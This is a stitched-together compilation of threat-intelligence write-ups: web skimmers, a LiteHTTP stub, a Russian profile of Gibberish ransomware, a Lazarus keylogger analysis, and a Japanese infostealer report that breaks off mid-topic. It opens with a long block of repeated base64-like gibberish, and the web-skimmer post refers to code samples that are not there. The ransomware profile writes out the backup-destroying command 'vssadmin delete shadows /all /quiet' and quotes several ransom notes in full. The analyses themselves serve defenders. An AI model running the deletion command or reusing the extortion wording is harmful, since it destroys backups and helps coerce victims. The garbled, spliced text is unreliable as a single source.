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 |
# A Closer Look at the Web Skimmer
**By Jin Chen, Tao Yan, Taojie Wang, and Yu Fu**
**November 9, 2020**
**Category:** Malware, Unit 42
**Tags:** Cybercrime, Formjacking Attack, web skimmer
## Executive Summary
The formjacking attack has been one of the fastest-growing cyberattacks in recent years. As explained in our previous blog, “Anatomy of Formjacking Attacks,” the formjacking attack is easy to deploy but hard to detect. It has gained popularity among threat actors, especially against e-commerce websites. Between May and September 2020, we detected an average of 65,000 malicious HTML pages and 24,000 unique URLs compromised by formjacking attacks.
In this blog, we will take a closer look at the web skimmer attack, which is one of the most widely used formjacking attacks. We will present several web skimmer samples and provide an in-depth analysis of the attack vectors deployed during the attack. We hope this blog will help security researchers understand how web skimmer attacks happen in a real-life environment and develop effective detection and defense mechanisms.
Palo Alto Networks Next-Generation Firewall customers are protected from formjacking attacks via the WildFire and URL Filtering security subscriptions.
## Victim Analysis
With WildFire, we detected 351,972 HTML pages that were compromised by skimmer malware from October 2019 to October 2020. These samples belong to 6,684 unique domain names. We derived the geographical locations for the domain names to generate a heat map. This heat map indicates that the majority of the domain names are located in the United States. Also, the domain names have a wide geographic distribution across almost every continent, including Africa and Australia.
Figure 2 shows the top eight countries the domain names belong to. While the United States has a majority share, it is notable that all of the top countries have a populace with a relatively high socioeconomic status. This seems sensible since most of the skimmer attacks target e-commerce websites, which attract users with spending power.
## Web Skimmer Family Analysis
In order to understand web skimmer attacks, we analyzed skimmer samples and determined that, although the skimmer HTML pages have different layouts and styles, they share similar JavaScript code. We were able to extract 10,764 unique malicious JavaScript snippets from the 351,972 HTML pages collected from October 2019 to October 2020.
With the help of VirusTotal and automation tools, we were able to identify 63 different malware families based on their functionalities and features. Among all malware families, 19 are relatively popular, with more than 1,000 observed samples each, while the remaining 44 families were seen in only 3,612 pages combined.
From our analysis, we can see that 27% of malicious web skimmer pages belong to the most popular skimmer family. Also, the top three families can cover 65% of all web skimmer pages, considering that one page can belong to multiple skimmer families.
We found some pages with more than one malicious JavaScript embedded. For those pages, no evidence indicated different types of skimmers are intentionally used together. Rather, it is more likely that the pages were randomly compromised by different campaigns independent of each other.
## Web Skimmer Case Study
From October 2019 to October 2020, we observed the evolution of skimmer obfuscation techniques and command and control (C2) communication. Specifically, we determined that one family is typical and representative of skimming attacks. In this section, we will do a deep dive into this family to better understand how a skimmer operates. Multiple variants of web skimmer samples from this family will be presented. We hope this can help security researchers understand the complexity and polymorphism of web skimmer attacks, especially in terms of the code structure and usage of obfuscation techniques.
Let’s start with the JavaScript code extracted from one of the most commonly seen skimmer samples. From the code, we can see that the payment information is stolen by the attackers, and then the data is sent to the C2 server via a POST request. The related function is shown below.
The characteristics of JavaScript grammar allow the code to be presented in different ways. Even samples of code that are nearly identical to one another could be refined or rewritten into a completely different structure. In another variant, we see code from this family presented differently.
Sample 1 has labeled function declarations to define JavaScript functions. In sample 2, the traditional way to define JavaScript functions is used. In order to detect and capture both of them using intrusion prevention system (IPS) signatures, patterns need to be written in a way that considers both ways of definition.
Obfuscation and polymorphism are also widely used in delivering malicious code. Many open-source tools can be utilized to make it easier to evade detection, rather than rewriting the malicious code. Below is another piece of code coming from this family.
In this case, its C2 server URL is encoded in hexadecimal form. By converting the hex strings into the decoded characters, we can find its C2 server pointing to a specific URL.
Other than the samples we’ve presented above, highly obfuscated malicious codes were also observed in this family. Though these samples have different code, the logic and main code flow are similar or even identical. Intruders seem to deploy different code in different compromised websites, which makes it less likely to be detected by IPS signatures with one single pattern.
Another fact worth mentioning here is that the URL of the C2 server is written as a variable in JavaScript, which is fairly easy for the attackers to modify. In our dataset, we determined that many other skimmer samples use the same code after decoding/de-obfuscation, yet point to different C2 servers.
Palo Alto Networks has developed an advanced detection module in WildFire that targets formjacking attacks. On average, WildFire detected 65,000 malicious HTML pages and 24,000 unique URLs compromised by formjacking attacks. All detections automatically undergo additional analysis for verification. WildFire correctly identifies and detects formjacking attacks, while URL Filtering identifies those URLs as malicious and categorizes them accordingly.
## Conclusion
A web skimmer is a popular formjacking attack to steal sensitive information by injecting malicious JavaScript code into compromised websites. In this blog, we analyzed 351,972 HTML pages infected by skimmer campaigns from October 2019 to October 2020 and found that skimmer malware is highly elusive and continuously evolving. Traces of web skimmer attacks are found across every corner of the world.
For security teams, comprehensive detection against skimmer malware is not an easy task. They have to keep alert and be aware of the latest techniques used by skimmer malware in order to develop dynamic detection strategies.
For website administrators, it is advisable to patch all systems, components, and web plugins in their organization to minimize the likelihood of compromised systems. Also, conducting web content integrity checks on a regular basis is highly recommended. This can help detect and prevent web skimmer attacks.
For internet users, it is advisable to track online activities for abnormal use and unauthorized payments from online banking services. If you believe your credit card information was stolen as a result of a recent online purchase, you should contact your bank to freeze or replace your card immediately. |
# Recent LiteHTTP Activities and IOCs
Malware news has reported on recent LiteHTTP activities and indicators of compromise (IOCs). |
# Gibberish Ransomware
**Variants:** Anenerbex, Velar, UPPER
Этот крипто-вымогатель шифрует данные пользователей с помощью AES, а затем требует выкуп в # BTC, чтобы вернуть файлы. Оригинальное название: в записке не указано. На файле написано: нет данных.
**Обнаружения:**
- DrWeb: Trojan.Encoder.30868, Trojan.Encoder.31489
- BitDefender: Gen:Heur.Ransom.REntS.Gen.1
- ESET-NOD: 32A Variant Of Win32/Filecoder.NSF, A Variant Of Win32/Kryptik.HCPQ
- Microsoft: Ransom:Win32/Filecoder!MSR
- Qihoo-360: Generic/Trojan.Ransom.ec8
- Rising: Trojan.Filecoder!8.68 (CLOUD)
- Tencent: Win32.Trojan.Filecoder.Hvix
- TrendMicro: Ransom_Filecoder.R002C0DBJ20
- VBA32: BScope.TrojanRansom.Kuntala
- Symantec: ML.Attribute.HighConfidence
К зашифрованным файлам добавляется расширение: .uk6ge или .<random>
**Этимология названия:**
Нет никаких данных о том, как вымогатели могли назвать свое "творение". Но они использовали слово "gibberish" (в переводе с англ. "тарабарщина") в одном из логинов почты, как бы подчеркивая это слово. Поэтому Gibberish стало названием и заголовком статьи.
**Внимание!** Новые расширения, email и тексты о выкупе можно найти в конце статьи, в обновлениях. Там могут быть различия с первоначальным вариантом.
Образец этого крипто-вымогателя был обнаружен в середине февраля 2020 г. Штамп даты: 4 июля 2019 г. Ориентирован на англоязычных пользователей, что не мешает распространять его по всему миру.
Записка с требованием выкупа называется: info.txt
**Содержание записки о выкупе:**
```
Congratulation!!!
All your data been crypted!
Our contacts:
Write to mail: [email protected]
If we not respond 24h: [email protected]
In subject: key[160313537d]
There is no other way to get you files back, only we have key for decryption.
```
**Перевод записки на русский язык:**
```
Поздравляем!!!
Все ваши данные зашифрованы!
Наши контакты:
Писать на почту: [email protected]
Если мы не ответим за 24 часа: [email protected]
В теме: key[160313537d]
Иного пути вернуть файлы нет, только у нас есть ключ для расшифровки.
```
Я сравнил несколько вариантов записок и обнаружил, что каждый раз генерируется новый ключ.
**Технические детали:**
Может распространяться путём взлома через незащищенную конфигурацию RDP, с помощью email-спама и вредоносных вложений, обманных загрузок, ботнетов, эксплойтов, вредоносной рекламы, веб-инжектов, фальшивых обновлений, перепакованных и заражённых инсталляторов. См. также "Основные способы распространения криптовымогателей" на вводной странице блога.
Нужно всегда использовать актуальную антивирусную защиту! Если вы пренебрегаете комплексной антивирусной защитой класса Internet Security или Total Security, то хотя бы делайте резервное копирование важных файлов по методу 3-2-1.
Удаляет теневые копии файлов с помощью команды:
```
vssadmin delete shadows /all /quiet
```
**Список файловых расширений, подвергающихся шифрованию:**
Это документы MS Office, OpenOffice, PDF, текстовые файлы, базы данных, фотографии, музыка, видео, файлы образов, архивы и пр.
**Файлы, связанные с этим Ransomware:**
- info.txt - текстовый файл записки о выкупе
- A1.exe
- A2.exe
- <random>.exe - случайное название вредоносного файла
**Расположения:**
- \Desktop\
- \User_folders\
- \%TEMP%\
**Записи реестра, связанные с этим Ransomware:**
См. ниже результаты анализов.
**Сетевые подключения и связи:**
- Email-1: [email protected]
- Email-2: [email protected]
**Результаты анализов:**
- Hybrid analysis
- VirusTotal analysis
- Intezer analysis
- VMRay analysis
- VirusBay samples
- MalShare samples
- AlienVault analysis
- CAPE Sandbox analysis
- JOE Sandbox analysis
**Степень распространённости:** средняя. Подробные сведения собираются регулярно. Присылайте образцы.
---
### БЛОК ОБНОВЛЕНИЙ
**Обновление от 10 марта 2020:**
- Расширение: .anenerbex
- Записка: anenerbex-info.txt
- Email: [email protected], [email protected]
**Содержание записки:**
```
Nice to meet
Unfortunately a malware has infected your computer and a large number of your files has been encrypted using a hybrid encryption scheme
By the way, everything is possible to restore, but you need to follow our instructions.
Otherwise, you cant return your data (NEVER).
What guarantees?
It's just a business. We absolutely do not care about you and your deals, except getting benefits.
You can get proof by mail, just need to ask
Mail for contact With your ID 1a2b3c5***
[email protected]
[email protected]
There is no other way to get you files back, only we have key for decryption
```
**Обновление от 18-19 марта 2020:**
- Расширение: .Velar
- Записка: readme.txt
- Email-1: [email protected]
- Email-2: [email protected]
- Файл: 1,2.exe
**Содержание записки:**
```
Hello
Unfortunately a malware has infected your computer and a large number of your files has been encrypted using a hybrid encryption scheme!
Contact us:
1. [email protected]
2. [email protected]
In subject: ID-7a55359***
There is no possibility to decrypt these files without a special decrypt program!
```
**Обновление от 22 марта 2020:**
- Расширение: .UPPER
- Записка: infoUPPER.txt
- Email-1: [email protected]
- Email-2: [email protected]
**Содержание записки:**
```
Welcome
You have your data been crypted
Contact us with key ca67d9b***
1 - [email protected]
2 - [email protected]
There is no other way to get you files back, only we have key for decryption
Free decryption as guarantee!
Before paying you send us up to 2 files for free decryption.
Send pictures, text files. (files no more than 1mb)
If you upload the database, your price will be doubled
```
**Обновление от 9 апреля 2020:**
- Расширение: .~~~~
- Записка: Read_ME.txt
- Email: [email protected], [email protected]
**Содержание записки:**
```
Dear user! Your data is encrypted!
Any attempts to decrypt your data yourself will lead to loss of information !! Be careful!
Our mail:
1. [email protected]
2. [email protected]
Attention!
Decryption of your files is a paid service.
If you do not have money, then you can not apply. All is serious.
Contact us at the address and indicate your id in the subject line.
Your ID: ae3cfd7***
```
**Обновление от 16 апреля 2020:**
- Расширение: .<random>, например: .fevrbdy
- Email: [email protected], [email protected]
**Содержание записки:**
```
Congratulation
You have your data been crypted
Write to the mail: [email protected]
If we dont respond 24h: [email protected]
Send us you key 0e0de602f7
Free decryption as guarantee
Before paying you can send us up to 2 files for free decryption. The total size of files must be less than 1Mb (non archived), and files should not contain valuable information, (databases, backups, large excel sheets, etc.)
```
**Обновление от 29 апреля 2020:**
- Расширение: .<random>, например: .xHIlEgqxx
- Email: [email protected], [email protected]
**Обновление от 20 ноября 2020:**
- Расширение: .esexz или .<random>
- Записка: readme.txt
- Email: [email protected], [email protected], [email protected]
**Содержание записки о выкупе:**
```
Your ID: xxxxxxxxxx
Congrats! I have a bad news for you. All of yours data has been encrypted&stollen_!_
Also there is a good news - there is the one and the only who can help you to restore yours Data (u need to write here about restoring yours data, and write in the subject of the letter yours ID : [email protected], [email protected], [email protected])
As faster you are - depends on discount of price. As slower you are - depends on higher price. Don't forget about stollen data its can become public_!_(depends on also on you)
Also dear, you must know that it's impossible to restore infected computers by yourself\somebody else_!_
As a proof for test, in a letter u can upload 3 files not bigger than 10 mb not contains important or secure info.
```
**Перевод записки на русский язык:**
```
Ваш ID: xxxxxxxxxx
Поздравляю! У меня для вас плохие новости. Все ваши данные зашифрованы и уничтожены _! _
Также есть хорошие новости - мы единственные, кто может помочь вам восстановить ваши данные (про восстановление ваших данных нужно писать сюда, и написать в теме письма ваш ID: [email protected], [email protected], [email protected])
Чем быстрее напишите - цена меньше. Чем медленнее - цена выше. Не забывайте об украденных данных, которые могут быть опубликованы _! _ (зависит от вас)
Также дорогой, вы должны знать, что невозможно восстановить зараженные компьютеры самим \ кем-то другим _! _
Как доказательство для теста в письме вы можете загрузить 3 файла не более 10 мб, не содержащих важной или защищенной информации.
```
**Вариант от 22 марта 2021:**
Повторяет вариант от 20 ноября 2020.
- Расширение: .esexz
- Email: [email protected], [email protected], [email protected]
---
**Спасибо:**
S!Ri, GrujaRS
Andrew Ivanov (author)
to the victims who sent the samples
© Amigo-A (Andrew Ivanov): All blog articles. Contact. |
# A Lazarus Keylogger - PSLogger
This blog recently referenced a late July VNCert report containing file-based IOCs affiliated with attempted intrusions against financial organizations in Vietnam. Several contextual and technical characteristics of these files tie them to recent activity typically attributed to North Korean adversaries with a specific interest in the financial sector.
This post explores the technical characteristics of one of these files, a keylogging and screengrabbing utility. Two versions of this utility have appeared in the wild. The first is directly identified in the VNCert alert and is a DLL injected via a modified version of the open-source PowerSploit framework. The second is a standalone executable submitted to VirusTotal by a user in Pakistan (and possibly used in an intrusion in that region).
## syschk.ps1 (Vietnam)
- **MD5**: 26466867557f84dd4784845280da1f27
- **SHA1**: ed7fcb9023d63cd9367a3a455ec94337bb48628a
- **SHA256**: 791205487bae0ac814440573e992ba2ed259dca45c4e51874325a8a673fa5ef6
Syschk.ps1 contains three primary components: (1) A Base64 encoded DLL, (2) a Base64 encoded variant of PowerSploit’s Invoke-ReflectivePEInjection, and (3) a routine for decoding and executing these components. This script also contains references to “c:\windows\temp\TMP0389A.tmp” and “c:\programdata\1.dat” as part of a “remove-item” cmdlet routine. The Base64 DLL can be copied, converted, and saved to another file for analysis.
### Extracted DLL
- **MD5**: d45931632ed9e11476325189ccb6b530
- **SHA1**: 081d5bd155916f8a7236c1ea2148513c0c2c9a33
- **SHA256**: efd470cfa90b918e5d558e5c8c3821343af06eedfd484dfeb20c4605f9bdc30e
The extracted malware is designed for 64-bit operating systems and contains an export named “Process.” The malware has two primary functions: grabbing keystroke (and clipboard) data, and grabbing screen captures of the user’s desktop. At launch, the malware creates a file at “c:\windows\temp\TMP0389A.tmp” containing the directory that the malware will save files in.
Next, the file begins monitoring keystrokes. These are logged and saved to a hardcoded path within the user’s “AppData\Local\Temp” directory under a folder named “GoogleChrome” in a file named “chromeupdater_pk.” The keylogging routine uses the GetKeyState and GetAsyncKeyState APIs and is not sophisticated, and logged keystroke and clipboard context is saved in plaintext.
The malware’s other functionality is to capture the desktop, compressing the images and saving them in the same directory. These files are saved with the filename format chromeupdater_ps_[timestamp]. Notably, the malware uses two open-source implementations to achieve this. To capture the desktop, it uses code likely derived from an example. To perform compression, the malware uses the XZip library, a derivation of the Info-Zip project. The combination of these characteristics is useful for identifying an additional variant of this malware.
### HSMBalance.exe
- **MD5**: 34404a3fb9804977c6ab86cb991fb130
- **SHA1**: b345e6fae155bfaf79c67b38cf488bb17d5be56d
- **SHA256**: c6930e298bba86c01d0fe2c8262c46b4fce97c6c5037a193904cfc634246fbec
The open-source screengrabbing code used in the keylogger from the Vietnam incident is relatively uncommon: while a basic VirusTotal pivot on one of the more distinct strings from this code identifies dozens of additional files that use it, most belong to a benign screen-sharing package. On the other hand, the malicious files include the Vietnam keylogger and a second keylogger submitted by a user in Pakistan with strikingly similar static and dynamic properties.
A brief static analysis identifies the following strings:
- CDisplayHandlesPool: GetDC failed
- CDisplayHandlesPool: EnumDisplayMonitors failed
- CreateBitmapFinal: GetDIBits failed
- CaptureDesktop: CreateCompatibleDC failed
- CaptureDesktop: CreateCompatibleBitmap failed
- CaptureDesktop: SelectObject failed
- CaptureDesktop: BitBlt failed
- SpliceImages: CreateCompatibleDC failed
- SpliceImages: CreateCompatibleBitmap failed
- SpliceImages: SelectObject failed
- SpliceImages: BitBlt failed
As a triaging step, this strongly suggests the use of the same compression and screengrabbing libraries. In addition, there are several other string similarities:
**Pakistan file:**
- %s%s
- %s\tmp_%s
- [%02d%02d-%02d:%02d:%02d]
- [Num %d]
- [ENTER]
- [EX]
- keycode = %ls keystatus = %d \n
- %s\tmp_%s_%02d%02d_%02d%02d%02d
**PSLogger.exe Vietnam File:**
- %s\chromeupdater_pk
- %s\chromeupdater_ps_%04d%02d%02d_%02d%02d%02d_%03d_%d
- [%02d:%02d:%02d:%03d]
- %s%s
- [ENTER]
- [EX]
- [CTL]
- PSLogger.dll
While some of these are not a 1:1 match, there are some clear similarities regarding the likely functionality of the file and the naming conventions. Notably, this “new” file also contains the same exported function name (“Process”) as the Vietnam DLL despite being an executable, suggesting that it may have been built using the same codebase. In addition, the file contains a reference to the same “TMP0389A.tmp” file and path as the Vietnam keylogger. The combination of the shared strings, export, libraries (including XZip), and functionality strongly suggests that this file is likely attributable to the same threat actor.
## Functionality
As mentioned, this file contains a decoding routine responsible for decrypting several strings, including:
- “Downloads” – Appended to the user’s Appdata\Local\Temp path.
- “c:\windows\temp\TMP0389A.tmp” – Intended to contain directory storing keylogs and screenshots.
- “c:\windows\temp\tmp1105.tmp” – Unknown purpose
As with the Vietnam file, this file’s two core functions are screengrabbing (using the same library) and keylogging. Both files are stored at “Appdata\Local\Temp\Downloads.” Screenshots are generated as Bitmaps via CreateCompatibleBitmap, compressed, and saved in this directory as “tmp_[username][mmdd{time}]” (e.g. tmp_userA_0121_142748). As additional screenshots are created, they are appended to the same file (although re-running the malware will create a new file). Keystrokes (along with process data) are recorded in the same directory, under a file named “tmp_[user]” – unlike the Vietnam file, these keylogs are encrypted prior to storage.
While the malware author did take anti-analysis steps (including encoding several filepaths and keystroke logs), the malware as a whole remains generally unsophisticated.
## Closing Thoughts
Neither variant of the malware is particularly sophisticated; in fact, key components of each rely on clunky implementations of open source tools and code (including screengrabbing, compression, and memory injection). This deficiency is most evident in the screenshot compression segment, in which new data is simply appended to an older file. A tool such as 7Zip cannot properly unpack every screenshot appended this way; instead, the adversary would need to manually carve these out (or write an additional tool to do so) given the fact that additional zip data is simply appended to the end of the file.
It is also worth noting that neither file contains a C2 mechanism, meaning that log files and compressed images would have to be extracted from the target device manually. This suggests that these tools are designed for post-compromise use, possibly on machines intended to be monitored for an extended period of time. |
# 今さら聞けない!情報窃取型マルウェアの内部動作とJSOCの検知傾向
サイバー救急センターの脅威分析チームです。根強い脅威である情報窃取型マルウェア(InfoStealer)に関して、JSOCにおける検知傾向とマルウェア動作を調査しました。
情報窃取型マルウェアとは、Webブラウザなどのソフトウェアに保存された認証情報やキーストローク情報の窃取を主目的としたマルウェアのことです。感染すると、窃取されたユーザの認証情報が悪用されて被害に遭う恐れがあります。広義にはバンキングマルウェアやEmotetについても情報窃取型マルウェアとして分類されますが、本稿ではこれらを除いた、システムに設定済みの情報の窃取を目的とするマルウェア(AgentTeslaやFormBookなど)を取り上げます。以降では、このようなマルウェアを総称して「情報窃取型マルウェア」と呼びます。
情報窃取型マルウェアは継続的に日本国内に届いている一方で、既存の製品によって検知されることが多く、その背景やマルウェアの動作などを詳細に知る機会がないまま対応している方も多いのではないでしょうか。そこで、具体的に情報窃取型マルウェアの種類や動作を解説し、対策についてもお伝えします。
## 情報窃取型マルウェアの検知傾向
まずは、JSOCにおける情報窃取型マルウェアの検知傾向についてです。2021年においてJSOCで検知したマルウェア感染を目的とした攻撃メールの割合を集計すると、図1の通りとなりました。
図1の左のグラフは、2021年にJSOCで検知した攻撃メールの割合で、グラフの太字のマルウェアが情報窃取型マルウェアであることを表しています。このグラフでは、AgentTesla、FormBook、XLoaderの順で検知割合が多いことがわかります。LokiBotやSnake Keyloggerなどを含めると、情報窃取型マルウェアは全体で約66%となり、検知の半数以上を占めています。また、2020年後半に新たに報告された情報窃取型マルウェアであるSnake Keyloggerも検知率が3%に上っており、今後も攻撃に使用されることが予想されます。
一方、図1の右のグラフは2021年にJSOCで検知した日本語の件名における攻撃メールの割合です。Emotetが最も多く、続いてQakbot、情報窃取型マルウェアの順で検知されていました。
最多のEmotetは、感染したPCから窃取したメールを攻撃で使用することで次々と感染が拡大し、その結果攻撃メールの検知数が急増するという性質があります。一度テイクダウンされたEmotetですが、2021年11月から活動を再開しており、その攻撃手口からみても今後も日本語のメールでの検知数は多い状況が続くとみられます。Emotetに関してはラックでも注意喚起を行いました。
二番目に多いQakbotは、Emotetと同様の手法を用いて取引先や同僚を装ったメールを送りつけることで感染拡大を図るマルウェアです。QakbotにPCが感染した場合、インターネットバンキングの認証情報が窃取されたり、メールが窃取されて攻撃に悪用されたりします。
Qakbotの攻撃メールの特徴としては、件名が日本語であるものの、本文で英語が使用されていることが多く、Emotetと比べると誤って開封してしまう可能性は低いと推測されます。しかしながら、年間を通して攻撃メールが観測されている点に注意が必要です。
三番目に多くの割合を占めるのは、情報窃取型マルウェアです。検知割合でみれば約21%を占めており、日本語メールにおいても無視できない存在であることがわかります。攻撃メールは、請求書や見積もり依頼などを騙ったものが多く、稚拙な文を使用することもあれば、攻撃メールとしての体をなしたものもあり、内容によっては受信者が開いてしまう可能性も十分考えられます。
以上のように、情報窃取型マルウェアは軽視できない割合で検知しており、根強い存在であることがわかります。また、感染までの流れが複雑であるため、対策を講じる上で一度全体像を理解しておくことが望ましいです。
## 感染までの流れ
情報窃取型マルウェアに感染する経路のひとつとしてメールがあります。図2に実際に攻撃に使用されたメールの例を示します。メールの文面は英語であることが多いものの、日本語が使われることもあります。いずれの言語の場合でもメールの文面は請求書や支払いの確認、見積もりの依頼などの内容を装っており、受信者に添付ファイルや本文に記載のURLリンクを開かせようと誘導します。
添付ファイルの場合は不正なファイルが展開・実行すると感染を引き起こします。また、URLリンクを開いた場合は添付ファイルの場合と同様の不正なファイルがダウンロードされます。不正なファイルの形式としては、実行ファイル(exe)、ドキュメント(docx、xlsxなど)、その他のファイル(js、lnkなど)と、これらのファイルを内包した圧縮ファイル(zip、7-zip、rarなど)やISOイメージなど、様々な種類の形式を確認しています。
現在までに多く観測している感染までの流れを整理したものが次の図3です。やや複雑ですが、URLリンクや圧縮ファイル等の場合でも、最終的に実行ファイルもしくはドキュメントを起点として情報窃取型マルウェアに感染することがわかります。
実行ファイルが使用されるケースでは、実行ファイル自体が情報窃取型マルウェア本体である場合と、実行ファイルがGuLoader(別名:CloudEyE)と呼ばれるダウンローダである場合があります。前者は実行すると直接感染を引き起こす一方で、後者はGuLoaderが情報窃取型マルウェアをダウンロードして感染を引き起こします。
他方、ドキュメントが使用されるケースでは、マクロ付きのドキュメントとOffice製品の脆弱性(CVE-2017-11822やCVE-2017-0199など)を悪用したドキュメントの2種類が存在します。これらのドキュメントの不正なコードが動作すると、情報窃取型マルウェアがダウンロードされて感染する、または、GuLoaderを経由して多段階で情報窃取型マルウェアがダウンロードされて感染します。
